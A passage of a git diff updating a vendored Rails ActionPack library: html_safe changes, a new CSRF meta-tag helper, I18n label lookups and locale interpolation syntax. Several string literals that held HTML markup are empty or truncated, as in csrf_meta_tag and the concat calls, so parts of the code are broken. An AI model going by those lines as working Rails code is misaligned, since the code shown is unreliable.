    ".html_safe } cattr_accessor :field_error_proc end @@ -82,11 +82,11 @@ module ActionView submit_value = options[:submit_value] || options[:action].gsub(/[^\w]/, '').capitalize contents = form_tag({:action => action}, :method =>(options[:method] || 'post'), :enctype => options[:multipart] ? 'multipart/form-data': nil) - contents << hidden_field(record_name, :id) unless record.new_record? - contents << all_input_tags(record, record_name, options) + contents.safe_concat hidden_field(record_name, :id) unless record.new_record? + contents.safe_concat all_input_tags(record, record_name, options) yield contents if block_given? - contents << submit_tag(submit_value) - contents << '' + contents.safe_concat submit_tag(submit_value) + contents.safe_concat '' end # Returns a string containing the error message attached to the +method+ on the +object+ if one exists. @@ -121,7 +121,7 @@ module ActionView if (obj = (object.respond_to?(:errors) ? object : instance_variable_get("@#{object}"))) && (errors = obj.errors.on(method)) content_tag("div", - "#{options[:prepend_text]}#{ERB::Util.html_escape(errors.is_a?(Array) ? errors.first : errors)}#{options[:append_text]}", + "#{options[:prepend_text]}#{ERB::Util.html_escape(errors.is_a?(Array) ? errors.first : errors)}#{options[:append_text]}".html_safe, :class => options[:css_class] ) else @@ -193,19 +193,19 @@ module ActionView header_message = if options.include?(:header_message) options[:header_message] else - object_name = options[:object_name].to_s.gsub('_', ' ') - object_name = I18n.t(object_name, :default => object_name, :scope => [:activerecord, :models], :count => 1) + object_name = options[:object_name].to_s + object_name = I18n.t(object_name, :default => object_name.gsub('_', ' '), :scope => [:activerecord, :models], :count => 1) locale.t :header, :count => count, :model => object_name end message = options.include?(:message) ? options[:message] : locale.t(:body) - error_messages = objects.sum {|object| object.errors.full_messages.map {|msg| content_tag(:li, ERB::Util.html_escape(msg)) } }.join + error_messages = objects.sum {|object| object.errors.full_messages.map {|msg| content_tag(:li, ERB::Util.html_escape(msg)) } }.join.html_safe contents = '' contents << content_tag(options[:header_tag] || :h2, header_message) unless header_message.blank? contents << content_tag(:p, message) unless message.blank? contents << content_tag(:ul, error_messages) - content_tag(:div, contents, html) + content_tag(:div, contents.html_safe, html) end else '' @@ -290,7 +290,7 @@ module ActionView end def error_wrapping(html_tag, has_error) - has_error ? Base.field_error_proc.call(html_tag, self).html_safe! : html_tag + has_error ? Base.field_error_proc.call(html_tag, self) : html_tag end def error_message diff --git a/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb index 574b384d..1a8af3d3 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/asset_tag_helper.rb @@ -1,6 +1,7 @@ require 'cgi' require 'action_view/helpers/url_helper' require 'action_view/helpers/tag_helper' +require 'thread' module ActionView module Helpers #:nodoc: @@ -285,7 +286,7 @@ module ActionView end javascript_src_tag(joined_javascript_name, options) else - expand_javascript_sources(sources, recursive).collect { |source| javascript_src_tag(source, options) }.join("\n").html_safe! + expand_javascript_sources(sources, recursive).collect { |source| javascript_src_tag(source, options) }.join("\n").html_safe end end @@ -434,7 +435,7 @@ module ActionView end stylesheet_tag(joined_stylesheet_name, options) else - expand_stylesheet_sources(sources, recursive).collect { |source| stylesheet_tag(source, options) }.join("\n").html_safe! + expand_stylesheet_sources(sources, recursive).collect { |source| stylesheet_tag(source, options) }.join("\n").html_safe end end diff --git a/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb index 40411c28..bf265905 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb @@ -118,13 +118,13 @@ module ActionView def content_for(name, content = nil, &block) ivar = "@content_for_#{name}" content = capture(&block) if block_given? - instance_variable_set(ivar, "#{instance_variable_get(ivar)}#{content}".html_safe!) + instance_variable_set(ivar, "#{instance_variable_get(ivar)}#{content}".html_safe) nil end # Use an alternate output buffer for the duration of the block. # Defaults to a new empty string. - def with_output_buffer(buf = "") #:nodoc: + def with_output_buffer(buf = '') #:nodoc: self.output_buffer, old_buffer = buf, output_buffer yield output_buffer diff --git a/vendor/rails/actionpack/lib/action_view/helpers/csrf_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/csrf_helper.rb new file mode 100644 index 00000000..e0e6c9a6 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_view/helpers/csrf_helper.rb @@ -0,0 +1,14 @@ +module ActionView + # = Action View CSRF Helper + module Helpers + module CsrfHelper + # Returns a meta tag with the cross-site request forgery protection token + # for forms to use. Place this in your head. + def csrf_meta_tag + if protect_against_forgery? + %(\n).html_safe + end + end + end + end +end diff --git a/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb index 912d59e9..f556488f 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb @@ -1,5 +1,6 @@ require "date" require 'action_view/helpers/tag_helper' +require 'active_support/core_ext/hash/slice' module ActionView module Helpers @@ -616,7 +617,7 @@ module ActionView build_selects_from_types(order) else - "#{select_date}#{@options[:datetime_separator]}#{select_time}" + "#{select_date}#{@options[:datetime_separator]}#{select_time}".html_safe end end @@ -815,7 +816,7 @@ module ActionView tag_options[:selected] = "selected" if selected == i select_options << content_tag(:option, value, tag_options) end - select_options.join("\n") + "\n" + (select_options.join("\n") + "\n").html_safe end # Builds select tag from date type and html select options @@ -833,9 +834,9 @@ module ActionView select_html = "\n" select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank] select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt] - select_html << select_options_as_html.to_s + select_html << select_options_as_html - content_tag(:select, select_html, select_options) + "\n" + (content_tag(:select, select_html.html_safe, select_options) + "\n").html_safe end # Builds a prompt option tag with supplied options or from default options @@ -860,12 +861,12 @@ module ActionView # build_hidden(:year, 2008) # => "" def build_hidden(type, value) - tag(:input, { + (tag(:input, { :type => "hidden", :id => input_id_from_type(type), :name => input_name_from_type(type), :value => value - }) + "\n" + }.merge(@html_options.slice(:disabled))) + "\n").html_safe end # Returns the name attribute for the input tag @@ -896,7 +897,7 @@ module ActionView separator = separator(type) unless type == order.first # don't add on last field select.insert(0, separator.to_s + send("select_#{type}").to_s) end - select + select.html_safe end # Returns the separator for a given datetime component @@ -907,7 +908,7 @@ module ActionView when :hour (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator] when :minute - @options[:time_separator] + @options[:discard_minute] ? "" : @options[:time_separator] when :second @options[:include_seconds] ? @options[:time_separator] : "" end @@ -916,15 +917,15 @@ module ActionView class InstanceTag #:nodoc: def to_date_select_tag(options = {}, html_options = {}) - datetime_selector(options, html_options).select_date.html_safe! + datetime_selector(options, html_options).select_date.html_safe end def to_time_select_tag(options = {}, html_options = {}) - datetime_selector(options, html_options).select_time.html_safe! + datetime_selector(options, html_options).select_time.html_safe end def to_datetime_select_tag(options = {}, html_options = {}) - datetime_selector(options, html_options).select_datetime.html_safe! + datetime_selector(options, html_options).select_datetime.html_safe end private diff --git a/vendor/rails/actionpack/lib/action_view/helpers/debug_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/debug_helper.rb index 90863fca..e637dc14 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/debug_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/debug_helper.rb @@ -27,10 +27,10 @@ module ActionView def debug(object) begin Marshal::dump(object) - "
    #{h(object.to_yaml).gsub("  ", "  ")}
    " + "
    #{h(object.to_yaml).gsub("  ", "  ")}
    ".html_safe rescue Exception => e # errors from Marshal or YAML # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback - "#{h(object.inspect)}" + "#{h(object.inspect)}".html_safe end end end diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb index 4914ecc5..389212df 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb @@ -280,7 +280,7 @@ module ActionView concat(form_tag(options.delete(:url) || {}, options.delete(:html) || {})) fields_for(object_name, *(args << options), &proc) - concat(''.html_safe!) + concat(''.html_safe) end def apply_form_for_options!(object_or_array, options) #:nodoc: @@ -391,7 +391,7 @@ module ActionView # accepts_nested_attributes_for :address, :allow_destroy => true # end # - # Now, when you use a form element with the _delete parameter, + # Now, when you use a form element with the _destroy parameter, # with a value that evaluates to +true+, you will destroy the associated # model (eg. 1, '1', true, or 'true'): # @@ -399,7 +399,7 @@ module ActionView # ... # <% person_form.fields_for :address do |address_fields| %> # ... - # Delete: <%= address_fields.check_box :_delete %> + # Delete: <%= address_fields.check_box :_destroy %> # <% end %> # <% end %> # @@ -472,14 +472,14 @@ module ActionView # end # # This will allow you to specify which models to destroy in the - # attributes hash by adding a form element for the _delete + # attributes hash by adding a form element for the _destroy # parameter with a value that evaluates to +true+ # (eg. 1, '1', true, or 'true'): # # <% form_for @person, :url => { :action => "update" } do |person_form| %> # ... # <% person_form.fields_for :projects do |project_fields| %> - # Delete: <%= project_fields.check_box :_delete %> + # Delete: <%= project_fields.check_box :_destroy %> # <% end %> # <% end %> def fields_for(record_or_name_or_array, *args, &block) @@ -500,8 +500,9 @@ module ActionView end # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object - # assigned to the template (identified by +object+). The text of label will default to the attribute name unless you specify - # it explicitly. Additional options on the label tag can be passed as a hash with +options+. These options will be tagged + # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation + # is found in the current I18n locale (through views.labels..) or you specify it explicitly. + # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged # onto the HTML as an HTML element attribute as in the example shown, except for the :value option, which is designed to # target labels for radio_button tags (where the value is used in the ID of the input tag). # @@ -509,6 +510,29 @@ module ActionView # label(:post, :title) # # => # + # You can localize your labels based on model and attribute names. + # For example you can define the following in your locale (e.g. en.yml) + # + # views: + # labels: + # post: + # body: "Write your entire text here" + # + # Which then will result in + # + # label(:post, :body) + # # => + # + # Localization can also be based purely on the translation of the attribute-name like this: + # + # activerecord: + # attribute: + # post: + # cost: "Total cost" + # + # label(:post, :cost) + # # => + # # label(:post, :title, "A short title") # # => # @@ -641,7 +665,7 @@ module ActionView # # The HTML specification says unchecked check boxes are not successful, and # thus web browsers do not send them. Unfortunately this introduces a gotcha: - # if an Invoice model has a +paid+ flag, and in the form that edits a paid + # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid # invoice the user unchecks its check box, no +paid+ parameter is sent. So, # any mass-assignment idiom like # @@ -649,12 +673,15 @@ module ActionView # # wouldn't update the flag. # - # To prevent this the helper generates a hidden field with the same name as - # the checkbox after the very check box. So, the client either sends only the - # hidden field (representing the check box is unchecked), or both fields. - # Since the HTML specification says key/value pairs have to be sent in the - # same order they appear in the form and Rails parameters extraction always - # gets the first occurrence of any given key, that works in ordinary forms. + # To prevent this the helper generates an auxiliary hidden field before + # the very check box. The hidden field has the same name and its + # attributes mimick an unchecked check box. + # + # This way, the client either sends only the hidden field (representing + # the check box is unchecked), or both fields. Since the HTML specification + # says key/value pairs have to be sent in the same order they appear in the + # form, and parameters extraction gets the last occurrence of any repeated + # key in the query string, that works for ordinary forms. # # Unfortunately that workaround does not work when the check box goes # within an array-like parameter, as in @@ -665,22 +692,26 @@ module ActionView # <% end %> # # because parameter name repetition is precisely what Rails seeks to distinguish - # the elements of the array. + # the elements of the array. For each item with a checked check box you + # get an extra ghost item with only that attribute, assigned to "0". + # + # In that case it is preferable to either use +check_box_tag+ or to use + # hashes instead of arrays. # # ==== Examples # # Let's say that @post.validated? is 1: # check_box("post", "validated") - # # => - # # + # # => + # # # # # Let's say that @puppy.gooddog is "no": # check_box("puppy", "gooddog", {}, "yes", "no") - # # => - # # + # # => + # # # # check_box("eula", "accepted", { :class => 'eula_check' }, "yes", "no") - # # => - # # + # # => + # # # def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0") InstanceTag.new(object_name, method, self, options.delete(:object)).to_check_box_tag(options, checked_value, unchecked_value) @@ -739,7 +770,20 @@ module ActionView add_default_name_and_id_for_value(tag_value, name_and_id) options.delete("index") options["for"] ||= name_and_id["id"] - content = (text.blank? ? nil : text.to_s) || method_name.humanize + + content = if text.blank? + i18n_label = I18n.t("helpers.label.#{object_name}.#{method_name}", :default => "") + i18n_label if i18n_label.present? + else + text.to_s + end + + content ||= if object && object.class.respond_to?(:human_attribute_name) + object.class.human_attribute_name(method_name) + end + + content ||= method_name.humanize + label_tag(name_and_id["id"], content, options) end @@ -797,7 +841,7 @@ module ActionView add_default_name_and_id(options) hidden = tag("input", "name" => options["name"], "type" => "hidden", "value" => options['disabled'] && checked ? checked_value : unchecked_value) checkbox = tag("input", options) - (hidden + checkbox).html_safe! + (hidden + checkbox).html_safe end def to_boolean_select_tag(options = {}) @@ -940,7 +984,7 @@ module ActionView end (field_helpers - %w(label check_box radio_button fields_for hidden_field)).each do |selector| - src = <<-end_src + src, line = <<-end_src, __LINE__ + 1 def #{selector}(method, options = {}) # def text_field(method, options = {}) @template.send( # @template.send( #{selector.inspect}, # "text_field", @@ -949,7 +993,7 @@ module ActionView objectify_options(options)) # objectify_options(options)) end # end end_src - class_eval src, __FILE__, __LINE__ + class_eval src, __FILE__, line end def fields_for(record_or_name_or_array, *args, &block) @@ -1005,7 +1049,7 @@ module ActionView end def error_message_on(method, *args) - @template.error_message_on(@object, method, *args) + @template.error_message_on(@object || @object_name, method, *args) end def error_messages(options = {}) diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb index 608a3f1c..d9d985a5 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb @@ -296,7 +296,7 @@ module ActionView options << %() end - options_for_select.join("\n").html_safe! + options_for_select.join("\n").html_safe end # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the @@ -481,7 +481,7 @@ module ActionView end zone_options += options_for_select(convert_zones[zones], selected) - zone_options + zone_options.html_safe end private @@ -572,10 +572,9 @@ module ActionView end if value.blank? && options[:prompt] prompt = options[:prompt].kind_of?(String) ? options[:prompt] : I18n.translate('support.select.prompt', :default => 'Please select') - "\n" + option_tags - else - option_tags + option_tags = "\n" + option_tags end + option_tags.html_safe end end diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb index eaba603a..42fc66f8 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb @@ -78,6 +78,9 @@ module ActionView # # def select_tag(name, option_tags = nil, options = {}) html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name + if Array === option_tags + ActiveSupport::Deprecation.warn 'Passing an array of option_tags to select_tag implicitly joins them without marking them as HTML-safe. Pass option_tags.join.html_safe instead.', caller + end content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys) end @@ -262,7 +265,7 @@ module ActionView escape = options.key?("escape") ? options.delete("escape") : true content = html_escape(content) if escape - content_tag :textarea, content, { "name" => name, "id" => sanitize_to_id(name) }.update(options.stringify_keys) + content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options.stringify_keys) end # Creates a check box form input tag. @@ -432,12 +435,12 @@ module ActionView concat(tag(:fieldset, options, true)) concat(content_tag(:legend, legend)) unless legend.blank? concat(content) - concat("".html_safe!) + concat("".html_safe) end private def html_options_for_form(url_for_options, options, *parameters_for_url) - returning options.stringify_keys do |html_options| + options.stringify_keys.tap do |html_options| html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart") html_options["action"] = url_for(url_for_options, *parameters_for_url) end @@ -459,14 +462,14 @@ module ActionView def form_tag_html(html_options) extra_tags = extra_tags_for_form(html_options) - (tag(:form, html_options, true) + extra_tags).html_safe! + (tag(:form, html_options, true) + extra_tags).html_safe end def form_tag_in_block(html_options, &block) content = capture(&block) concat(form_tag_html(html_options)) concat(content) - concat("".html_safe!) + concat("".html_safe) end def token_tag diff --git a/vendor/rails/actionpack/lib/action_view/helpers/javascript_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/javascript_helper.rb index 8f64acf1..2ed9d238 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/javascript_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/javascript_helper.rb @@ -184,7 +184,7 @@ module ActionView end def javascript_cdata_section(content) #:nodoc: - "\n//#{cdata_section("\n#{content}\n//")}\n" + "\n//#{cdata_section("\n#{content}\n//")}\n".html_safe end protected diff --git a/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb index 1760a13a..4c0f5776 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb @@ -89,7 +89,7 @@ module ActionView :precision => precision, :delimiter => delimiter, :separator => separator) - ).gsub(/%u/, unit) + ).gsub(/%u/, unit).html_safe rescue number end diff --git a/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb index 75f5c86e..3b3278fb 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb @@ -393,7 +393,7 @@ module ActionView concat(form_remote_tag(options)) fields_for(object_name, *(args << options), &proc) - concat(''.html_safe!) + concat(''.html_safe) end alias_method :form_remote_for, :remote_form_for @@ -653,7 +653,7 @@ module ActionView # " @@ -490,9 +489,9 @@ module ActionView char = c.chr string << (char =~ /\w/ ? sprintf("%%%x", c) : char) end - content_tag "a", name || email_address_encoded, html_options.merge({ "href" => "#{string}#{extras}" }) + content_tag "a", name || email_address_encoded.html_safe, html_options.merge({ "href" => "#{string}#{extras}" }) else - content_tag "a", name || email_address_obfuscated, html_options.merge({ "href" => "mailto:#{email_address}#{extras}" }) + content_tag "a", name || email_address_obfuscated.html_safe, html_options.merge({ "href" => "mailto:#{email_address}#{extras}" }) end end diff --git a/vendor/rails/actionpack/lib/action_view/locale/en.yml b/vendor/rails/actionpack/lib/action_view/locale/en.yml index 84d94fd7..b56869ed 100644 --- a/vendor/rails/actionpack/lib/action_view/locale/en.yml +++ b/vendor/rails/actionpack/lib/action_view/locale/en.yml @@ -63,37 +63,37 @@ half_a_minute: "half a minute" less_than_x_seconds: one: "less than 1 second" - other: "less than {{count}} seconds" + other: "less than %{count} seconds" x_seconds: one: "1 second" - other: "{{count}} seconds" + other: "%{count} seconds" less_than_x_minutes: one: "less than a minute" - other: "less than {{count}} minutes" + other: "less than %{count} minutes" x_minutes: one: "1 minute" - other: "{{count}} minutes" + other: "%{count} minutes" about_x_hours: one: "about 1 hour" - other: "about {{count}} hours" + other: "about %{count} hours" x_days: one: "1 day" - other: "{{count}} days" + other: "%{count} days" about_x_months: one: "about 1 month" - other: "about {{count}} months" + other: "about %{count} months" x_months: one: "1 month" - other: "{{count}} months" + other: "%{count} months" about_x_years: one: "about 1 year" - other: "about {{count}} years" + other: "about %{count} years" over_x_years: one: "over 1 year" - other: "over {{count}} years" + other: "over %{count} years" almost_x_years: one: "almost 1 year" - other: "almost {{count}} years" + other: "almost %{count} years" prompts: year: "Year" month: "Month" @@ -106,12 +106,12 @@ errors: template: header: - one: "1 error prohibited this {{model}} from being saved" - other: "{{count}} errors prohibited this {{model}} from being saved" + one: "1 error prohibited this %{model} from being saved" + other: "%{count} errors prohibited this %{model} from being saved" # The variable :count is also available body: "There were problems with the following fields:" support: select: # default value for :prompt => true in FormOptionsHelper - prompt: "Please select" \ No newline at end of file + prompt: "Please select" diff --git a/vendor/rails/actionpack/lib/action_view/partials.rb b/vendor/rails/actionpack/lib/action_view/partials.rb index 5d75dbbc..3aeebc67 100644 --- a/vendor/rails/actionpack/lib/action_view/partials.rb +++ b/vendor/rails/actionpack/lib/action_view/partials.rb @@ -218,10 +218,11 @@ module ActionView ActionController::RecordIdentifier.partial_path(object, controller.class.controller_path) template = _pick_partial_template(_partial_path) local_assigns[template.counter_name] = index + local_assigns["#{as.to_s}_counter".to_sym] = local_assigns[template.counter_name] if as result = template.render_partial(self, object, local_assigns.dup, as) index += 1 result - end.join(spacer).html_safe! + end.join(spacer).html_safe end def _pick_partial_template(partial_path) #:nodoc: diff --git a/vendor/rails/actionpack/lib/action_view/paths.rb b/vendor/rails/actionpack/lib/action_view/paths.rb index a0a2f968..9c1a2bdb 100644 --- a/vendor/rails/actionpack/lib/action_view/paths.rb +++ b/vendor/rails/actionpack/lib/action_view/paths.rb @@ -47,15 +47,23 @@ module ActionView #:nodoc: each do |load_path| if format && (template = load_path["#{template_path}.#{I18n.locale}.#{format}"]) return template + # Try the default locale version if the current locale doesn't have one + # (i.e. you haven't translated this view to German yet, but you have the English version on hand) + elsif format && (template = load_path["#{template_path}.#{I18n.default_locale}.#{format}"]) + return template elsif format && (template = load_path["#{template_path}.#{format}"]) return template elsif template = load_path["#{template_path}.#{I18n.locale}"] return template + elsif template = load_path["#{template_path}.#{I18n.default_locale}"] + return template elsif template = load_path[template_path] return template # Try to find html version if the format is javascript elsif format == :js && html_fallback && template = load_path["#{template_path}.#{I18n.locale}.html"] return template + elsif format == :js && html_fallback && template = load_path["#{template_path}.#{I18n.default_locale}.html"] + return template elsif format == :js && html_fallback && template = load_path["#{template_path}.html"] return template end diff --git a/vendor/rails/actionpack/lib/action_view/renderable.rb b/vendor/rails/actionpack/lib/action_view/renderable.rb index ff7bc7d9..a7f87ee0 100644 --- a/vendor/rails/actionpack/lib/action_view/renderable.rb +++ b/vendor/rails/actionpack/lib/action_view/renderable.rb @@ -65,16 +65,30 @@ module ActionView def compile!(render_symbol, local_assigns) locals_code = local_assigns.keys.map { |key| "#{key} = local_assigns[:#{key}];" }.join + code = compiled_source + if code.sub!(/\A(#.*coding.*)\n/, '') + encoding_comment = $1 + elsif defined?(Encoding) && Encoding.respond_to?(:default_external) + encoding_comment = "#coding:#{Encoding.default_external}" + end + source = <<-end_src def #{render_symbol}(local_assigns) - old_output_buffer = output_buffer;#{locals_code};#{compiled_source} + old_output_buffer = output_buffer;#{locals_code};#{code} ensure self.output_buffer = old_output_buffer end end_src + if encoding_comment + source = "#{encoding_comment}\n#{source}" + line = -1 + else + line = 0 + end + begin - ActionView::Base::CompiledTemplates.module_eval(source, filename, 0) + ActionView::Base::CompiledTemplates.module_eval(source, filename, line) rescue Errno::ENOENT => e raise e # Missing template file, re-raise for Base to rescue rescue Exception => e # errors from template code diff --git a/vendor/rails/actionpack/lib/action_view/renderable_partial.rb b/vendor/rails/actionpack/lib/action_view/renderable_partial.rb index 3ea836fa..fb446145 100644 --- a/vendor/rails/actionpack/lib/action_view/renderable_partial.rb +++ b/vendor/rails/actionpack/lib/action_view/renderable_partial.rb @@ -27,7 +27,7 @@ module ActionView def render_partial(view, object = nil, local_assigns = {}, as = nil) object ||= local_assigns[:object] || local_assigns[variable_name] - if object.nil? && view.respond_to?(:controller) + if object.nil? && !local_assigns_key?(local_assigns) && view.respond_to?(:controller) ivar = :"@#{variable_name}" object = if view.controller.instance_variable_defined?(ivar) @@ -43,5 +43,11 @@ module ActionView render_template(view, local_assigns) end + + private + + def local_assigns_key?(local_assigns) + local_assigns.key?(:object) || local_assigns.key?(variable_name) + end end end diff --git a/vendor/rails/actionpack/lib/action_view/safe_buffer.rb b/vendor/rails/actionpack/lib/action_view/safe_buffer.rb deleted file mode 100644 index 09f44ab2..00000000 --- a/vendor/rails/actionpack/lib/action_view/safe_buffer.rb +++ /dev/null @@ -1,28 +0,0 @@ - -module ActionView #:nodoc: - class SafeBuffer < String - def <<(value) - if value.html_safe? - super(value) - else - super(ERB::Util.h(value)) - end - end - - def concat(value) - self << value - end - - def html_safe? - true - end - - def html_safe! - self - end - - def to_s - self - end - end -end \ No newline at end of file diff --git a/vendor/rails/actionpack/lib/action_view/template.rb b/vendor/rails/actionpack/lib/action_view/template.rb index 414dc0cc..5a84fa3e 100644 --- a/vendor/rails/actionpack/lib/action_view/template.rb +++ b/vendor/rails/actionpack/lib/action_view/template.rb @@ -45,8 +45,8 @@ module ActionView #:nodoc: end def self.new_and_loaded(path) - returning new(path) do |path| - path.load! + new(path).tap do |_path| + _path.load! end end diff --git a/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb b/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb index e3120ba2..b53a652f 100644 --- a/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb +++ b/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb @@ -11,11 +11,14 @@ module ActionView self.erb_trim_mode = '-' def compile(template) - src = ::ERB.new("<% __in_erb_template=true %>#{template.source}", nil, erb_trim_mode, '@output_buffer').src + magic = $1 if template.source =~ /\A(<%#.*coding[:=]\s*(\S+)\s*-?%>)/ + erb = "#{magic}<% __in_erb_template=true %>#{template.source}" - # Ruby 1.9 prepends an encoding to the source. However this is - # useless because you can only set an encoding on the first line - RUBY_VERSION >= '1.9' ? src.sub(/\A#coding:.*\n/, '') : src + if erb.respond_to?(:force_encoding) + erb.force_encoding(template.source.encoding) + end + + ::ERB.new(erb, nil, erb_trim_mode, '@output_buffer').src end end end diff --git a/vendor/rails/actionpack/lib/action_view/test_case.rb b/vendor/rails/actionpack/lib/action_view/test_case.rb index f43531dc..049314c4 100644 --- a/vendor/rails/actionpack/lib/action_view/test_case.rb +++ b/vendor/rails/actionpack/lib/action_view/test_case.rb @@ -159,4 +159,4 @@ module ActionView end end end -end \ No newline at end of file +end diff --git a/vendor/rails/actionpack/test/abstract_unit.rb b/vendor/rails/actionpack/test/abstract_unit.rb index 8acc4513..0dce5500 100644 --- a/vendor/rails/actionpack/test/abstract_unit.rb +++ b/vendor/rails/actionpack/test/abstract_unit.rb @@ -1,7 +1,7 @@ -$:.unshift(File.dirname(__FILE__) + '/../lib') -$:.unshift(File.dirname(__FILE__) + '/../../activesupport/lib') -$:.unshift(File.dirname(__FILE__) + '/fixtures/helpers') -$:.unshift(File.dirname(__FILE__) + '/fixtures/alternate_helpers') +$:.unshift File.expand_path('../../lib', __FILE__) +$:.unshift File.expand_path('../../../activesupport/lib', __FILE__) +$:.unshift File.expand_path('../fixtures/helpers', __FILE__) +$:.unshift File.expand_path('../fixtures/alternate_helpers', __FILE__) require 'rubygems' require 'yaml' @@ -32,9 +32,9 @@ ActionController::Routing::Routes.reload rescue nil ActionController::Base.session_store = nil -# Register danish language for testing -I18n.backend.store_translations 'da', {} -I18n.backend.store_translations 'pt-BR', {} +# Register languages for testing +I18n.backend.store_translations 'da', "da" => {} +I18n.backend.store_translations 'pt-BR', "pt-BR" => {} ORIGINAL_LOCALES = I18n.available_locales.map(&:to_s).sort FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures') @@ -58,4 +58,21 @@ class DummyMutex end end -ActionController::Reloader.default_lock = DummyMutex.new \ No newline at end of file +class ActionController::IntegrationTest < ActiveSupport::TestCase + def with_autoload_path(path) + path = File.join(File.dirname(__FILE__), "fixtures", path) + if ActiveSupport::Dependencies.autoload_paths.include?(path) + yield + else + begin + ActiveSupport::Dependencies.autoload_paths << path + yield + ensure + ActiveSupport::Dependencies.autoload_paths.reject! {|p| p == path} + ActiveSupport::Dependencies.clear + end + end + end +end + +ActionController::Reloader.default_lock = DummyMutex.new diff --git a/vendor/rails/actionpack/test/active_record_unit.rb b/vendor/rails/actionpack/test/active_record_unit.rb index 9e0c6605..5c0cb062 100644 --- a/vendor/rails/actionpack/test/active_record_unit.rb +++ b/vendor/rails/actionpack/test/active_record_unit.rb @@ -16,7 +16,7 @@ if defined?(ActiveRecord) && defined?(Fixtures) else $stderr.print 'Attempting to load Active Record... ' begin - PATH_TO_AR = "#{File.dirname(__FILE__)}/../../activerecord/lib" + PATH_TO_AR = File.expand_path('../../../activerecord/lib', __FILE__) raise LoadError, "#{PATH_TO_AR} doesn't exist" unless File.directory?(PATH_TO_AR) $LOAD_PATH.unshift PATH_TO_AR require 'active_record' diff --git a/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb b/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb index bde36eb9..6f2fe327 100644 --- a/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb +++ b/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb @@ -22,7 +22,6 @@ class ActiveRecordStoreTest < ActionController::IntegrationTest end def get_session_id - session[:foo] render :text => "#{request.session_options[:id]}" end @@ -45,23 +44,27 @@ class ActiveRecordStoreTest < ActionController::IntegrationTest ActiveRecord::SessionStore.session_class.drop_table! end - def test_setting_and_getting_session_value - with_test_route_set do - get '/set_session_value' - assert_response :success - assert cookies['_session_id'] + %w{ session sql_bypass }.each do |class_name| + define_method("test_setting_and_getting_session_value_with_#{class_name}_store") do + with_store class_name do + with_test_route_set do + get '/set_session_value' + assert_response :success + assert cookies['_session_id'] - get '/get_session_value' - assert_response :success - assert_equal 'foo: "bar"', response.body + get '/get_session_value' + assert_response :success + assert_equal 'foo: "bar"', response.body - get '/set_session_value', :foo => "baz" - assert_response :success - assert cookies['_session_id'] + get '/set_session_value', :foo => "baz" + assert_response :success + assert cookies['_session_id'] - get '/get_session_value' - assert_response :success - assert_equal 'foo: "baz"', 